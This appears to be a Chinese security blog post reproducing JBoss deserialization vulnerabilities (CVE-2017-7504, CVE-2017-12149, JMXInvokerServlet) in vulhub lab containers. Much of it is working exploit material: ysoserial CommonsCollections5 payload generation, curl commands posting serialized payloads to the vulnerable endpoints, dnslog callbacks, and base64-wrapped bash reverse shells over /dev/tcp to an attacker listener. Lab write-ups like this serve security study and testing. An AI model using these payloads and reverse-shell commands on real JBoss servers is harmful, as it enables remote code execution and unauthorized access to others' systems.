JBoss 系列漏洞复现

  • A+
所属分类:安全文章

前言

        这篇文章的环境均来自p牛的vulhub:

JBoss 系列漏洞复现建议在pc端阅读



JMXInvokerServlet-deserialization

执行如下命令启动JBoss环境:

docker-compose up -d

踩坑:

端口占用,修改docker-compose.yml, 端口改成9999JBoss 系列漏洞复现

环境启动后,目标为

http://your-ip:8080
JBoss 系列漏洞复现

这是经典的JBoss反序列化漏洞,JBoss在

/invoker/JMXInvokerServlet

请求中读取了用户传入的对象,可利用Apache Commons Collections中的Gadget执行任意代码,。

利用方式同CVE-2017-12149 (见下文).



CVE-2017-7504

执行如下命令启动JBoss AS 4.0.5:

docker-compose up -d

环境启动后,目标为

http://your-ip:8080

JBoss 系列漏洞复现漏洞出现在

/jbossmq-httpil/HTTPServerILServlet

借助ysoserial的CommonsCollections5利用链来复现。

生成payload,先验证环境是否搭建成功:

# 创建文件bailujava -jar ysoserial.jar CommonsCollections5 "touch /tmp/bailu" > poc_touch_cve_2017_7504.ser# 将poc_touch_cve_2017_7504.ser文件内容作为POST Body提交curl http://ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc_touch_cve_2017_7504.ser

回到靶机的docker中,发现文件已成功创建:

docker psdocker exec -it df8b31ce3722 /bin/bashls tmp/

JBoss 系列漏洞复现

到这一步,环境就算搭建成功了。


dnslog-URLDNS

使用ysoserialURLDNS 模块生成dnslog回显的payload:

java -jar ysoserial.jar URLDNS http://dnslog > poc_dnslog.bincurl http://ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc_dnslog.bin

成功在dnslog平台收到记录:JBoss 系列漏洞复现


reverse shell

由于

Runtime.getRuntime().exec()

中不能使用管道符等bash需要的方法,需要用进行一次base64编码:

bash -i >& /dev/tcp/0.0.0.0/7777 0>&1

JBoss 系列漏洞复现

使用ysoserial.jar生成payload,并向/jbossmq-httpil/HTTPServerILServlet发起post请求,提交poc_shell.ser:

# base64_str 见上图的编码部分java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,base64_str}|{base64,-d}|{bash,-i}" > poc_shell.sercurl http://ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc_shell.ser

如图,成功反弹shell:JBoss 系列漏洞复现



CVE-2017-12149

执行如下命令启动JBoss 5.x/6.x:

# 关掉上一步的dockerdocker kill df8b31ce3722docker-compose up -d

环境启动后,目标为

http://your-ip:8080

JBoss 系列漏洞复现漏洞出现在

/invoker/readonly

请求中,服务器将用户提交的POST内容进行了Java反序列化:JBoss 系列漏洞复现

同CVE-2017-12149, 使用bash来反弹shell,但由于

Runtime.getRuntime().exec()

中不能使用管道符等bash需要的方法,需要进行一次base64编码。

注:使用的gadget是CommonsCollections5。


dnslog-URLDNS

使用ysoserialURLDNS 模块生成dnslog回显的payload:

java -jar ysoserial.jar URLDNS http://dnslog > poc_dnslog.bincurl http://ip:8080/invoker/readonly --data-binary @poc_dnslog.bin

成功在dnslog平台收到记录:JBoss 系列漏洞复现


reverse shell

同CVE-2017-7504,由于

Runtime.getRuntime().exec()

中不能使用管道符等bash需要的方法,需要用进行一次base64编码:

bash -i >& /dev/tcp/0.0.0.0/8888 0>&1

得到编码结果:JBoss 系列漏洞复现

使用ysoserial.jar 生成poc_shell.ser

# base64_str 见上图java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,base64_str}|{base64,-d}|{bash,-i}" > poc_shell.ser

并在attack_vps监听8888端口:JBoss 系列漏洞复现

curl http://ip:8080/invoker/readonly --data-binary @poc_shell.ser

如图,成功反弹shell:JBoss 系列漏洞复现


结语

    这几天突然体会到了弹计算器的快乐!😂

JBoss 系列漏洞复现



参考:

http://www.jackson-t.ca/runtime-exec-payloads.html

https://github.com/vulhub/vulhub/tree/master/jboss/


本文始发于微信公众号(don9sec):JBoss 系列漏洞复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: